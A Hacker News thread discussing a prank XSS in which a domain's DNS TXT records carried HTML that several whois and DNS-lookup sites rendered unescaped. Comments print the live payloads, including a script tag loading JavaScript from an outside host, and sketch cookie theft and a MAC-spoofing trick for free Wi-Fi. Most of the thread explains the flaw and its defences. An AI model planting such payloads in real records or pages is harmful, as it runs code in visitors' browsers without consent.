TXT Record XSS | Hacker News Reader

TXT Record XSS

who.is

998 pointsryanskidmore228 comments

I am half serious, but how about making HTML served in TXT records a standard trick for serving small web pages very quickly? There are way fewer network round trips:

  1. DNS query for TXT record for example.com
  2. DNS reply with HTML content

Compared with the traditional 7 steps:

  1. DNS query for A record for example.com
  2. DNS reply with x.x.x.x
  3. TCP SYN to port 80
  4. TCP SYN/ACK
  5. TCP ACK
  6. HTTP GET
  7. HTTP reply with HTML content

It would also make the content super-distributed, super-reliable, as DNS servers cache it worldwide (and for free so it would reduce hosting costs :D). Also TXT records can contain more than 255 bytes as long as they are split on multiple strings of 255 bytes in a DNS reply.

Again, I am only half serious, but this is an interesting thought experiment...

Edit: oddtarball: DNSSEC would solve spoofing. And updates should take no longer than the DNS TTL to propagate: the TTL is under your control; you could set it to 60 seconds if you wanted. It is a common, false misconception that many DNS resolvers ignore the TTL. Some large web provider (was it Amazon? I forget) ran an experiment and demonstrated that across tens or hundreds of thousands of clients wordlwide, 99% of them saw DNS updates propagated within X seconds if the TTL was set to X seconds. Only <1% of DNS resolvers were ignoring it.

Use the Kitchen Sink[1] record type. It's more appropriated than TXT.

[1] https://tools.ietf.org/html/draft-ietf-dnsind-kitchen-sink-0...

I saw "ASN.1" in the draft and immediately thought "over-engineered".

When bytes count (and they often don't, but in this case they probably do), what would be your preferred system? And what do you see as your favoured approach's main advantage(s) over ASN.1/BER?

ASN.1/BER is a pain in the ass. I'd rather gzip json. Or poke chopsticks in my eyes.

(creds: http://tools.ietf.org/html/rfc1697)

^ What that guy said. ASN.1 parsers are super complicated and have been the cause of remote exploits more than once.

I'd say that is by design.

MIBs are not ASN.1, actually.

Not even an April fools' RFC. Wow.

Meh, interesting thought, but a few things come to mind:

- It could take multiple days to update the website for the entire world

- It would be very easy to spoof the entire site

- It would probably slow down the rest of the queries the DNS server would be responding to at the time.

Also, updating DNS can be a pain for sites that aren't managing their own records.

Used to work in the DNS business. "It will take up to 24 hours to propagate" is a way to manage expectations and prevent support calls from coming in within the first 24 hours after a DNS change, not a reflection of actual DNS propagation times.

I don't know how things work now, but at least a few years ago there were plenty of DNS server that would take basically the full 48hours to update, regardless of TTL.

I think the rise of no-fixed-IP load balancers like Amazon ELB has dramatically reduced that.

Aren't the IPs of the load balancers more or less fixed, though?

Using a PaaS like Elastic Beanstalk will mean a new load balancer on each publish, and those can happen multiple times per hour in a busy day.

I'm not a netadmin, so don't know the innards of how it all works, but one day I watched a domain of ours pointing to an amazon load-balancer spread across multiple AZs - the IP address would change in DNS every so often, flipping between the AZs, presumably.

Implementations will differ for "elastic" software defined load balancing so understand this is not a definitive statement applicable to all cloud service providers. In the case of AWS a default ELB set to serve one zone might have one IP. If it is configured to serve to 3 zones it may then have 3 IP addresses. These are minimums and they do change randomly so AWS warns you not o set A Records to IPs of those.

This is not hardware. This is software defined networking which you should apply one of the rules of good cloud design which is to expect failure - and this is a feature - IPs change. Deal with it. ;)

Further we have the TTL issue noted and an very interesting thing happens there. If you use a default of say 300 or more seconds for your FQDN in the DNS record which has even a CNAME to an ELB set of FQDNs (if multiple ELBs for example) then your going to have a condition at some times where that 300 seconds is still ticking down when the say 60 second TTL for the ELB's fqdn expires and or the ELB IP itself has changed. In that time span your resolved IP may be assigned to another ELB and traffic going to your platform hits some other platform. So perhaps at the first 1 second mark of your 300 second TTL start the AWS ELB TTL has expired and perhaps is assigned to nothing - your traffic gets failure to connect - then the IP is assigned to some other FQDN and your traffic hits some other ELB. (Your church patrons now get porn perhaps.) The flip side is true and interesting to watch in logs.

How to take advantage of this feature? Oh that is fun. Marketing? Route all such identifiable traffic to good bad or ugly ends?

This situation should be expected.

I hate the term "DNS propagation". It confuses people, and makes them think things that aren't true, like a new domain isn't usable until it "propagates" through the Internet.

Again, managing expectations.

We tell clients that we've launched their site, but that the DNS changes might take up to 48 hours to propagate.

Realistically, from our office and to most of the world it's probably live within 5 minutes. One of our local ISPs happens to be one of those irritating ones that just ignores your TTL and caches records for days at a time.

Sometimes one of their servers will end up with the new record and one with the old. That combined with peoples' home routers caching records (again, sometimes ignoring TTLs) can lead to fun situations where the site might load fine for a couple hours (hit the good ISP server, local router cached) then the old site for a couple of hours (hit the bad server, local router cached...).

I used to try and explain it to people but after having enough people freak out about how their site switched back, it's not live yet, etc, etc... I just tell them it's going to take 48 hours. If it's visible earlier it's a pleasant surprise, and if it takes two days I don't get any panicked phone calls.

Malware has been putting updates and command and control instructions inside DNS records for a while now, so they get the benefits you mention as well as continued availability even when the original authoritative servers are taken down.

If you want to access this in a web browser, you still need some server which speaks HTTP and makes the DNS request and forwards the result to the browser. So you're really not saving much there. In fact, you'll have higher latency since you now need HTTP plus an extra DNS request. Unless of course browsers support dns://...

But DNS is cached; to some degree you're getting a free CDN when you do this.

Not really. Unless you have direct browser support for these DNS pages, you still need the proxy server close to your client to get the benefits of a CDN. Besides, the content is static, you could just dump that on a web server anyway.

"Again, I am only half serious" (said two times...)

Why say that at all? Is it a way to fend off ridicule? Or does this show a lack of confidence in the idea and what you are saying?

Reminds me of comments that start "Am I the only one who thinks that..."

I've gotten out of the habit of apologizing for things that I say or prefacing them with phrases such as that. The reason is that I found that it was a lazy way to not give as much thought to what I was saying and whether I needed to vet my thoughts more.

As someone who prefaces comments with similar things, I don't think it's unreasonable. Sometimes we know ideas are a bit of a cludge (Thinking back to the first time I did an IP over DNS tunnel) but it's still fun and interesting; but that doesn't stop some people jumping down your throat if they think you're suggesting it in earnest. Twice, maybe much? But the sentiment itself, I can see where it's coming from.

"but that doesn't stop some people jumping down your throat if they think you're suggesting it in earnest. "

Or downvoting as they have done with my comment.

> Or downvoting as they have done with my comment.

That's because nobody came to this thread because they wanted to read your meta-discussion.

Wanted to add that what you said above such as "this maybe a bit of a cludge" seems better than "only half serious" as a preface because you are acknowledging the possible problem in the idea procactively if you want to call it that.

Because two half serious make a full serious.

For another fantastic abuse of DNS, the Iodine* project uses DNS to tunnel IP which is just obscene.

http://code.kryo.se/iodine/

(Why? Lots of captive portal wifi hotspots (think hotel/train etc) seem to allow DNS resolutions before stopping your other traffic.)

* DNS uses port 53 which is the same as the atomic number for Iodine ;)

Ah, iodine. I've used it in airports, hotels, cafes - it's great. The only drawback is that it's slower than dialup and latency is off the charts. But when you're stuck on a cruise ship and internet access is $8 a minute, being able to ssh somewhere and browse the web and check your mail very slowly through links is worth it.

I usually just spoof mac addresses of people who already paid in most of those cases, the caveat usually being somebody had to pay.

If those people have a download limit that's rather unscrupulous.

I hope you're not still talking cruise ships here! Those folks are often paying high prices by the minute or by the megabyte for access: you'd be pretty literally stealing from your neighbors in that situation. (The moral issue for pay-by-the-day systems is one step further removed, but I think it's still real.)

802.1x covers access control to networks. MAC addresses are not for access control.

Not that a court would agree with my logic, of course.

Yeah, you might have a tough time explaining to the judge that Media Access Control addresses are not for access control.

In this context "access control" doesn't mean what you think it does. It refers to multiplexing the communications of multiple devices over a single shared communications medium, as in "controlling" (arbitrating) shared access to the radio spectrum. It has no relationship to network authorization or authentication and provides no security whatsoever.

http://en.wikipedia.org/wiki/Channel_access_method

Calling it "access control" has always been confusing which is why people started calling it Machine Address Code or Ethernet Hardware Address instead.

> In this context "access control" doesn't mean what you think it does.

Good luck explaining that to the judge.

Regardless, the judge is going to look at intent and knowledge. You knew this was a paid service, and your intent was to not pay. You understood this was a way to avoid payment, and you understood that someone else had paid for access.

None of which has anything to do with "media access control" which still has nothing to do with authorization or authentication.

Doesn't really matter - it might (!) be legal, but it is immoral (if they really are paying by MB).

I was staying at a Hilton (Omaha, NE) last night and their captive portal scared me off by putting the MAC address, IP address, and user agent in the query string, plus network stuff like the VLAN id and the MAC address of some piece of network gear that's servicing you. It seemed like they had a pretty complex system to deter abuse.

Of course, I just tethered my phone and got way better service than their crappy $10/day wifi.

Woah, awesome. I've used the http://dnstunnel.de/ tunneling scripts before, and they're a bit of a pain to setup (mostly because of the perl library requirements).

I remember using these scripts years ago when wifi hotspots used to charge obscene amounts of money...

malware authors have been using this technique for some time: http://www.cs.berkeley.edu/~mobin/publications/2013/DNS_USEN...

How to start protecting yourself against this.

http://www.neustar.biz/blog/how-to-identify-prevent-dns-tunn...

I wrote something like that but distributing torrents. Wrote it AGES ago : http://netrogenic.com/dnstorrent/

The phrase 'knows just enough to be dangerous' comes to mind :)

> I am half serious

Good. Still, it needs to be pointed out. This idea is an awesome hack to show how can you piggyback on existing infrastructure to make it work as something it was not intended to.

But it absolutely, terribly sucks at anything practical. Actually, it's a non-solution. Here's why.

> There are way fewer network round trips:

> 1. DNS query for TXT record for example.com

> 2. DNS reply with HTML content

Let me show an exactly equivalent alternative implementation of the above concept.

    1. HTTP GET x.x.x.x/example
    2. HTTP reply with HTML content

Both of them require you to do exactly the same steps - that is, connect to a hardcoded port of a server at a hardcoded IP address, request a user-defined resource, receive and display reply. DNS is not magic, IP addresses of DNS servers are hardcoded in your network configuration and/or in your router configuration and/or in your ISP configuration.

I know you're half-serious with this idea, but I'm going to play along. So to continue with the interesting thought experiment... if people were to start actually using DNS records to smuggle websites, they'd quickly overwhelm the capabilities of the DNS network, so the reliability and free hosting would quicky go out of window, along with all hope of ever having anything even resembling consistency in the Internet.

So yeah; a nice hack, but kids, don't try to deploy it at scale ;).

I think his point is that DNS doesn't require the TCP or HTTP overhead. There are more steps and layers involved with an HTTP GET and reply than with DNS resolution.

It requires TCP overhead if the dns packet is bigger than 512 bytes. You could abuse the DNS protocol to carry HTTP-esque metadata but it would be a small victory over standard HTTP. Reusing an existing TCP connection is more efficient.

TCP is not required for larger messages if EDNS(0) is available--which it probably is--and the network allows; which conservatively, it probably does at least till the 1280~1450 byte mark.

http://tools.ietf.org/html/rfc6891

> Both of them require you to do exactly the same steps - that is, connect to a hardcoded port of a server at a hardcoded IP address, request a user-defined resource, receive and display reply. DNS is not magic, IP addresses of DNS servers are hardcoded in your network configuration and/or in your router configuration and/or in your ISP configuration.

The steps are not exactly the same. Any sensible ISP give you at least two redundant DNS servers with your DHCP response and most public DNS providers also give you multiple redundant servers. When you do a DNS lookup, your OS or browser handles failover between the DNS servers automatically, client side. When accessed by IP address, as you've demonstrated, HTTP offers no client-side failover mechanism built into web browsers to fall back to a different IP.

It's additionally important to note that architecturally, DNS servers are far more scaleable than most HTTP servers. They don't run anywhere near as much code per request and don't require the overhead of TCP or HTTP.

Note that I'm also not encouraging using DNS instead of HTTP for serving websites, I'm just pointing out that DNS is a more reliable technology and has client-side failover mechanisms so the pros which mrb listed are very real.

I don't think you understand his hack - but then, that's understandable, because it wouldn't work anyway without modifying the browser. You'd need a special client (or a proxy) to feed the content of DNS TXT record directly to the browser, because you're not using HTTP (or even TCP) anymore.

Exercise for the reader (the proxy soln): write a server called txtdns.com that returns the content of TXT records as HTML. The path would look like http://txtdns.com/example.com - and the key is that the server is only accessing DNS, even though your client is using TCP and HTTP.

would make more sense to have it be a local proxy, IMO?

(and probably be easier to boot, given the right scripting language/libraries that should be doable in 10-30 lines of code or so)

You are incorrect. An HTTP GET still requires a 3-way TCP handshake, so your suggestion requires 5 steps not 2:

  1. TCP SYN to port 80
  2. TCP SYN/ACK
  3. TCP ACK
  4. HTTP GET
  5. HTTP reply with HTML content

FYI both a TCP SYN and SYN/ACK can carry a payload (which could be the GET and RESPONSE)

Yeah but in practice no browser does this. There is no system call on Linux or Windows to push data as part of the SYN packet. You would have to craft TCP/IP packets and their headers with a raw socket...

Even if you did do this, any server implementing SYN cookies would ignore the payload and require you to retransmit anyway.

IIRC, both the Linux and BSD socket implementations let you do this with a combination of a few sockopts.

Linux does support this for "TCP Fast Open" - the system call used is sendto() or sendmsg() with the MSG_FASTOPEN flag set, in place of the usual connect().

The SYN packet can contain data, but the spec requires that it not be passed down to the application until the three-way handshake is complete (so a SYN-with-data from a spoofed source address won't elicit a response).

The TCP Fast Open proposal gets around this by using a cookie, so that the first connection requires a normal three-way-handshake, but subsequent connections between the same client and host can use an expedited handshake that eliminates a round trip.

Your suggestion is not equivalent. It is not realistic to ask the user to memorize the x.x.x.x IP address. The point of mrb's solution is that it fully takes care of problem of "typing <domainname> in the address bar and getting the content as quickly as possible without having to memorize IP addresses".

A UDP dns response will be truncated if it is longer than 512 bytes.

If you want more stuff you have to use TCP and that is not very preferable.

False. IP fragmentation allows the size of a single UDP DNS response to be up to 65535 bytes, regardless of the network MTU.

It does not have to to with link, udp or ip it is a limitation of the dns spec.

Here is a extention that "fixes" it: https://tools.ietf.org/html/draft-ietf-dnsind-udp-size-02 I have not seen that spec extention implemented in the wild. I just found the extention so I have on the other side not looked for it.

EDNS(0) allows for larger responses and is both commonly implemented and widely deployed.

http://tools.ietf.org/html/rfc6891

The great majority of networks out in the world discard UDP DNS packets bigger than 512 bytes. Firewall admins do it, DNS admins do it, application proxies do it, birds do it, bees do it, even educated fleas do it....

As far as the 65535 limit, from RFC 2671:

  4.5.5. Due to transaction overhead, it is unwise to advertise an
       architectural limit as a maximum UDP payload size.  Just because
       your stack can reassemble 64KB datagrams, don't assume that you
       want to spend more than about 4KB of state memory per ongoing
       transaction.

isinterneton.com implemented something like this circa 2011 but it looks dead now.

You can still see how it worked: http://whois.domaintools.com/isinterneton.com

It defined a few nameservers,

  IS-INTERNET-ON.TITLE.ISINTERNETON.COM 
  YES.BODY.ISINTERNETON.COM

The server reads these values and constructs a page like,

  <title>Is Internet On</title>
  <body>Yes</body>

"HTML served in TXT records a standard trick for serving small web pages"

I already did this many years ago. It works well.

I also do not use DNSSEC (unencrypted DNS packets) opting instead for dnscurve (encrypted DNS packets).

What is still missing from the DNS world is a server that can handle pipelined (TCP) DNS queries (multiple lookups in the same request). I think the spec allows for it but no one ever implemented it as far as I know.

In your thought experiment, that would be "HTTP/1.1 pipelining".

I use HTTP pipelining everyday via command line utlities and where "web browsing" is concerned I find it hard to live without.

Van Jacobsen's NDN (née CCNX) does this by replacing the entire HTTP to IP stack with a hierarchical key-value protocol using only two packet types: Interest (GET) and Data (PUT). It can overlay UDP or any layer 2 directly, and tunnel IP. http://named-data.net/

So uh. This works on a few websites. A couple I've found

http://dig.whois.com.au/dig.php?dom=jamiehankins.co.uk&type=...

http://mxtoolbox.com/SuperTool.aspx?action=txt:jamiehankins....

Beautifully done.

^^ hilarious :)

Our dns lookup tool is safe from this: https://www.misk.com/tools/#dns/jamiehankins.co.uk

OH! Now I get it. Honestly, this is hilarious

So like, what template library are these sites using that doesn't have basic XSS protection. :|

Probably basic PHP?

MXToolbox is a windows based app

Put your e-mail on your profile. The smart appsec groups, like Google's, would look at your hack as a resume. Seriously, who would have ever thought of XSS via DNS?

You could have just alert'd, too, but no. Harlem Shake. Bravo.

I'm guessing nobody else noticed the Rick Roll in there too?

I appreciated the "allowfullscreen" option being thoughtfully included.

As the script was just bouncing the search box at the start I a) assumed it was deliberate and b) expected them to start trying to sell me domains.

The rickroll was the first bit I noticed o_0

http://dig.whois.com.au/dig.php?dom=jamiehankins.co.uk&type=... appears to have fixed it.

Am I the only one here that doesn't get what I should be looking for? I see the txt fields have google-site-verification and peniscorp but what is that doing?

They finally fixed it, but when this was first posted, the whois sites didn't do any sanitization of the TXT records, which meant that they'd just slap the record into the page. As the record included html saying, "hey, load this script from peniscorp", loading the page would let the script loaded there do various manipulations.

Nitpick: they should have been encoding the output not sanitising.

To those at work: exploited sites will autoplay music. Make sure your sound is muted or your headphones are in.

Since there is very little discussion in the link, pardon me for stating what may be obvious to some, but not necessarily everyone.

The point here is that:

1. DNS TXT records can contain HTML, including scripts and whatever.

2. Domain registrants can publish arbitrary TXT records.

3. TXT records can appear in pages generated by web sites which serve, for instance, as portals for viewing domain registration information, including DNS records such as TXT records.

4. Thus, such sites are vulnerable to perpetrating cross-site-script attacks (XSS) on their visitors if they naively paste the TXT record contents into the surrounding HTML.

5. The victim is the user who executes a query which finds the malicious domain which serves up the malicious TXT record that is interpolated into the displayed results. The user's browser executes the malicious code.

Thus, when you are generating UI markup from pieces, do not trust any data that is pulled from any third-party untrusted sources, including seemingly harmless TXT records.

Thanks for explaining. I know HN is traditionally programmer/programming focused, but some of us come from other areas and only have limited experience with such topics. It's very common for me to enter a thread about a security vulnerability, for example, and think "wait, how big of a deal is this?"

I enumerated all IPv4 PTR records a few years back, and I saw a couple XSS things there as well. If anyone wants to host that data set somewhere, let me know, would be interesting to see what others do with it.

Edit: I found my data and have a grep running on it, will share what turns up.

Edit2: Somewhat less exciting than I remember:

$ fgrep -- '>' *

x.x.101.130.csv:1298607746,155.92.101.130,<hostname>.nebula.msoe.edu.

x.x.110.35.csv:1298587462,41.191.110.35,www.ahnigeria.org\032<http://www.ahnigeria.org/>.

x.x.126.67.csv:1298594206,75.127.126.67,\032>.

x.x.229.74.csv:1298608599,139.78.229.74,<hostname>.suites.osuit.edu.

x.x.39.239.csv:1298594005,129.89.39.239,<hostname>.uits.uwm.edu.

x.x.49.198.csv:1298613894,195.164.49.198,test.str!\@#\$%^&*}{\":]['><.,end.domain.test.pl.

x.x.49.199.csv:1298613720,195.164.49.199,test.str<hr><br>end.domain.test.pl.

x.x.49.206.csv:1298603066,195.164.49.206,test.str<hr><bR>omain.test.pl.

x.x.88.109.csv:1298606801,95.211.88.109,ilo.>.88.211.95.in-addr.arpa.

How large is it, ballpark?

It's about 3.5GB compressed, though in addition to un-LZMAing it a custom unpacker consisting of a few dozen lines of perl is required.

How big is it? If you put up a torrent I'll seed it...

Likewise, I have a gigabit internet connection and plenty of extra space.

Likewise

https://archive.org please!

Do you know anyone there or anything about the process of getting something hosted there? I can burn the data to a DVD and snail mail it to them (or even drop it off in SF).

https://archive.org/create/

Only takes 5 minutes to create an account.

I've made an account, and will upload tomorrow. My home internet connection has a pretty slow upload so I'm going to sneakernet it to work and upload from there.

Put it somewhere I can grab it and I'll be happy to host it (I do some work for an ISP and have my own servers in the datacenter). Email is in profile.

I'm going to try putting it on archive.org tomorrow.

I added FartScroll.js from the Onion to my text records:

http://dig.whois.com.au/dig.php?dom=philipithomas.com&type=A...

:-) Thanks for this

Yes, a genius combination!

Notice at the bottom of that page it says:

  Embed a live DIG result (do a diggle): 
  <script type="text/javascript" src="http://dig.whois.com.au/diggle/philipithomas.com"></script>

Now, if you embed a 'diggle', that sound like an infinite loop possibility. Interesting, does anyone want to try it?

Wow, I think they fixed that escaping problem a few minutes ago.

I think some of the sites escape semicolons only. Pure script loading isn't broken, but trying to code in the txt may break.

But I tried your link recently and it no longer works.

Oh you're correct - they did update it. It still works on a few other sites.

yep, I just fixed it then. Trending on hackernews is not always a good thing.

From any Linux (or probably OS X) workstation / server, you can run the command "host -t TXT jaimehankins.co.uk" ie:

$ host -t TXT jamiehankins.co.uk

;; Truncated, retrying in TCP mode.

jamiehankins.co.uk descriptive text "<iframe width='420' height='315' src='//www.youtube.com/embed/dQw4w9WgXcQ?autoplay=0' frameborder='0' allowfullscreen></iframe>"

jamiehankins.co.uk descriptive text "v=spf1 include:spf.mandrillapp.com ?all"

jamiehankins.co.uk descriptive text "<script src='//peniscorp.com/topkek.js'></script>"

jamiehankins.co.uk descriptive text "google-site-verification=nZUP4BagJAjQZO6AImXyzJZBXBf9s1FbDZr8pzNLTCI"

This is hilarious, but what's up with this line? >jamiehankins.co.uk descriptive text "v=spf1 include:spf.mandrillapp.com ?all"

Why is mandrillapp.com (tranactional email startup) included?

It's my personal domain, I use mandrill for some stuff.

Hell of a good prank dude, well played sir!

It's an SPF record. By adding your authorized mail servers to your DNS, recipient mail servers can "verify" that a given server is supposed to sending mail for your domain.

That's a legitimate record, not related to the XSS.

This is hilariousy, but could this potentially be a real threat to anything ?

Whenever you have credentials stored on the same host as the dns frontend. I imagine that a few domain-registrars will have similar tools available on their servers, so that users can check data on their own domains.

Imagine being logged in as your hostmaster account on http://your-registrar.com/, and having a malicious website redirect you to http://your-registrar.com/webtools/nslookup-tool.php?domain=....

idk why youre getting downvoted because it's a good question and people need to ask more security questions.

Any website I can inject malicious javascript into, I can steal your cookies from (assuming the httponly flag isn't set on the cookie).

If you were logged into one of these whois sites and they didnt have the httponly flag set on your auth cookie, an attacker could send you to a page on the site that contains malicious javascript that could phone home with your auth cookie, letting the attacker hijack your session.

You can defend your own websites from these kinds of attacks by setting up a Content Security Policy and using the 'httponly' flag on auth cookies.

http://en.wikipedia.org/wiki/Content_Security_Policy

Another attack is to rewrite the webpage to show the official login screen for that site, and record their password when they enter it.

One can imagine that I trust who.is and will click on links that go there, but now it can redirect me to an evil site that will attempt to exploit my browser.

Just wait until somebody turn it into a xargs bomb.

But yes, XSS is a serious problem. Even if it's done in a site that handles no valuable info (sites that display whois normaly handle very valuable info), it can be used to launch attacks against other sites.

Wasn't expecting that at all! Had several tabs opened and was really confused for a few seconds while I tried to find the tab with 'youtube on autoplay'.

Firefox needs to show the 'play' icon for the audio tag.

Stuff like this is why NoScript and RequestPolicy were invented.

For making your life living hell in the name of overbearing security measures.

Ah yes. The occasional click to confirm this or whitelist that, that's definitively "living hell".

It's the users' resistance to the slightest inconvenience that makes security so hard.

It's really a hell. Average website over there is using at least 3 - 4 external domains for css, js, fonts and so. Getting a working website without nearly whitelisting many of them is highly improbable right now.

Yes but you gain a lot of interesting information about what's going on, plus you are back in control.

Whitelist places you trust. Keep things blocked that you don't like. If that breaks the experience, walk.

Sure. I used script blockers for a while. But after having to whitelist a huge number of them and loosing very long and precious time, I gave in. I do not put sensitive and important data on my computer. (Actually I was not doing that for a very long time even before giving in.) I always work on remote hosts.

Therefore I treat my desktop as a security research one. Of course I would not do that on my desktop I were really working with crackme binaries ;)

Additionally to then there's also the various things that track identity and behaviour. Tell me what you search and click, and I'll tell you what you think? (That's not fixed with a simple add-on of course.)

There is also google. But we use them in a way or not.

There are some nut-jobs or bad-ass people out there not using google, going with security enhanced phones and ddg. This does not make average or the 95percentile bad behaved.

This makes us only low security sensitive and targets.

Regarding "I do not put sensitive and important data on my computer" and "I always work on remote hosts", I must respectfully disagree. Never mind the fact that you set a bad example for newbies, being so caviler with your own safety harms the security of the rest of us. Downloading and executing random software off the Internet---the raison d'être of modern web browsers---is a good way to get owned. Just because you don't use your computer for anything important doesn't mean that it cannot be compromised and used to attack me. Plus, if you use your computer to log into other computers to do real work, then your computer is extremely important! A successful compromise would give attackers all the same remote access you have. Admittedly, that's not what your everyday, ordinary malware is after, but it's the principal of the thing that bothers me.

I'm not telling my setup is bullet proof. I'm just saying I gave in on some threats. I do not try to protect against all threats via all possible ways. I try to make my sensitive data to be unattractive and harder to get.

Latest part that you edited out was a question I would raise but it seems like you also think that would not hold.

Even though this setup is not secure. It's more secure than many everyday usage patterns. In a way at least..

It isn't generally that bad and if something wants 25 separate route tld's I often browse away.

For most people Ghostery and AdBlock Edge are good enough. I'm a pretty conservative, default-deny kind of hacker, so the results of my cost-benefit analysis are a little... different... than most. :)

For what it's worth, Chrome tells you which tab audio is playing from, it's nice.

I think Chrome is able to do this because it separates tabs into processes, but I don't think there's a good way for Firefox to do it since everything is in a single process.

https://bugzilla.mozilla.org/show_bug.cgi?id=486262

I don't think this has to do with multiprocess. The instance of HTML engine (geckk?) just needs to track who used the audio API.

I think the problem with that is it doesn't work with Flash audio. With multiprocess browsers, the Flash audio can be associated with a tab, but that's awkward/not possible if everything is in the same process.

Well, Chrome still often shares the same process for groups of tabs. I think this particular feature has something more to do with a change they made to their plugin API.

Chrome didn't have this feature for a very long time, and if anything sounded like it was actually harder because of how Chrome handles their processes.

Now if only Chrome had a mute button in the same spot to shut it up.

Who.is have fixed it now, but you can still see it in action over at archive.org

https://web.archive.org/web/20140918191824/http://who.is/dns...

oh my god, it's even more entertaining with the wayback machine's page header.

I've found about 80 TXT records with <script tags in them - most of them look like the person not understanding where to paste a JavaScript snippet over XSS attempts, here's all of them -

http://builtwith.com/script-tags-in-TXT-records.txt

There's a few that are "13h.be/x.js" that look like someone trying this out before.

Come on people, this is so basic. If you didn't generate the data, don't display it on your web page without filtering it. It blows my mind that this isn't just everyone's default.

Yeah, nothing clever at all. Tons of ways for user input, and this one just yet another one.

Bravo, I just embarrassed myself in a very quiet meeting.

Clever. I didn't get it at first.

Never trust user input.

Edit: See http://www.dnswatch.info/dns/dnslookup?la=en&host=jamiehanki... for the actual code.

> Never trust user input.

Never trust any input. I think this is a case where people assume that is isn't pure user input because is would have already been parsed/checked/verified.

"Oh, its in the DNS system so it must be safe" is worse then "well, it came from our database so it should be fine". Don't even trust something coming out of your own database. You never know what various input checking bugs might have accidentally let in over time.

This is only too true! At work we do CRUD projects, which means user input gets stored in the database. I almost always break other people's work by adding HTML tags to the inputs, navigating back to the page, and seeing markup that shouldn't be there. Even database output needs to be sanitized

Database output is application input. All forms of input need to be sanitized, period.

Same here. It is surprising how many times I've done that over the years and people are both surprised how easy it was but easily convince themselves that "it'll be all right" somehow and they'll fix it later...

In addition to "never trust user input";

Never trust your program's output

You should have two sets of sanitization, one that sanitizes incoming data, and one that sanitizes outgoing data.

I disagree. Obviously data should be validated. But passing validation, I prefer to store data exactly as the user supplied it and then sanitize on output. That way you always have a copy of the original data assuming things change.

Definitely. If it is genuinely invalid, refuse it, otherwise store everything as-is. You don't know on the way in what encoding will be needed on the way out: the same sting could be output later plain, in HTML, in a JS literal, in SQL if someone is daft enough to use ad-hoc unparamerterised queries, and so forth.

Thinking about it as "don't concatenate different data types" leads to even more correct software. Concepts like "trust" and "sanitization" are too often vague and misleading. It might be perfectly valid for TXT records--even trusted and sanitized ones--to contain sequences with left angle brackets that make them look like HTML tags. Either way, that's no excuse for failing to convert the text to HTML (by escaping it) before concatenating it into an HTML page.

This is what I always try to press home to developers I work with. It's not 'sanitization', it's encoding. In order to make a web browser display the string I've retrieved from my database, I have to turn it into an HTML representation that will be displayed as that string. In order to use a string in a JavaScript string literal, I need to turn it into a JavaScript string literal which represents the string.

That link is dead; can you paste it in a comment?

I very much love the pop up adblock complaint thing... I blocked it with right click "block ad" from adblock..

The most clever exploit of XSS I've ever seen. Beautiful. Bravo.

Still working here if anyone is yet to see it.

http://mxtoolbox.com/SuperTool.aspx?action=txt:jamiehankins....

Given how many whois sites cache results, I wonder how many of them are also vulnerable to SQL injections...

In playing around with this hack, I discovered that Dreamhost doesn't properly escape TXT records in their admin interface when modifying DNS records. I put an iframe in and it shows the box but the src is removed; it also killed the page at that point so I'm unable to remove it...

Add the domain to your hosts file to make it not resolve, that should fix it.

"the page" referred to dreamhosts admin page

A while ago I experimented with adding stuff to the version.bind field in bind. Just updated it:

mike@glue:~$ dig +short chaos txt version.bind @198.211.125.252

"<iframe width='420' height='315' src='//www.youtube.com/embed/dQw4w9WgXcQ?autoplay=1' frameborder='0' allowfullscreen></iframe>"

I put this in my named.conf:

version "<iframe width='420' height='315' src='//www.youtube.com/embed/dQw4w9WgXcQ?autoplay=1' frameborder='0' allowfullscreen></iframe>";

This site is vulnerable:

http://dnscheck.pingdom.com/?domain=grepular.com

Although takes a minute before it kicks in. I did report it to them at the time, but never got a response.

Wish there was a warning, because I accidentally clicked this link in class just now.

Don't browse with your volume turned up? How do you assume you wont be interacting with any pages that may produce noise?

Always put your audio driver on mute when in class or in public setting.

I wish browser developers gave a shit about their users instead of continuously inventing new ways for sites to auto play annoying content, but such is life.

Can it be done with CNAME and SRV records too?

XSS on a shitty website not doing trivial sanitization gets 900 points on HN, oh guys you are disappointing me so much.

It has nothing to to do with TXT record, it's just the website that render html. It could be any source.

It's related because it's not conventionally thought of as user input that needs to be sanitized (but, of course, it should be).

It has everything to do with the TXT record... Every XSS could be summed up with "just the website that renders HTML", but that's pretty much the point. TXT records aren't often thought of as input and as you can see several sites made that mistake of assumption.

Not sure how Trulia handles input for its usernames, but at one point I was able to do this http://www.trulia.com/profile/-iframe--home-buyer-loleta-ca-...

I opened this link on my Android's Chrome browser. The top search text input started wildly convulsing. First I thought the post was about that. But I didn't really get what this is about.

i don't really get it either

Looks like the who.is site has patched the exploit up a few minutes ago.

yes, but not fixed here yet - http://mxtoolbox.com/SuperTool.aspx?action=txt:jamiehankins....

All editors should, upon save, put up the following prompt:

"I acknowledge the code just written does not trust its input, under penalty of being whipped by a wet noodle."

But I guess folks would just click through.

Sigh.

For more information, visit this site >>>>>>> http://getformulat10.com/

Warning: this page links to (loud!) automatic playing audio.

This is hysterical.

Wouldn't this make it super easy for Google to ban (show the security warnings in Chrome) the domains?

Best POC ever.

When I went to the page, it started playing music. I find that very frustrating and annoying.

That's the point--who.is won't play music by itself. Its lookup of the DNS records of jaimehawkins.co.uk injected the music into the page.

Yeah... that was actually hugely annoying. A little warning maybe.

Here's your warning: if you ever click on an HN link titled "<something> XSS", prepare for something annoying to happen.

Oh I see. This makes sense. This doesn't seem challenging to prevent. A simple replacement of characters on the HTML entity table would have prevented this instead of putting arbitrary text onto standard output.

Yep, missing that is what makes this an "XSS" :)

Correct. The purpose of this post is to demonstrate yet another class of website that does not validate user input.

I've seen similar examples with HTTP headers and sites that display those, nice angle.

Well played sir, very well played

Finally somebody found a way to put html injection on to good use.

Could anyone tell me what's about? I just see a DNS page.

It was fixed. But if you look ctrl+f "peniscorp" and you'll see a script that was injected on the page

Aaaand now I'm deaf :) Gotta learn sign language

How does this work?

The TXT record isn't being sanitized so it just echos out the script tag which then loads the JS file.

   jamiehankins.co.uk.	33	IN	TXT	"<script src='//peniscorp.com/topkek.js'></script>"

   jamiehankins.co.uk.	33	IN	TXT	"<iframe width='420' height='315' src='//www.youtube.com/embed/dQw4w9WgXcQ?autoplay=0' frameborder='0' allowfullscreen></iframe>"

Use dig:

$ dig txt jamiehankins.co.uk

https://gist.github.com/440ef567e4bcc8f7ce34

FYI it looks like who.is fixed the XSS bug.

good hack but really stupid of me to click it directly :\

I wonder how this got so much points.. Reflected XSS in 2014, yeah..

What's up with the search box?

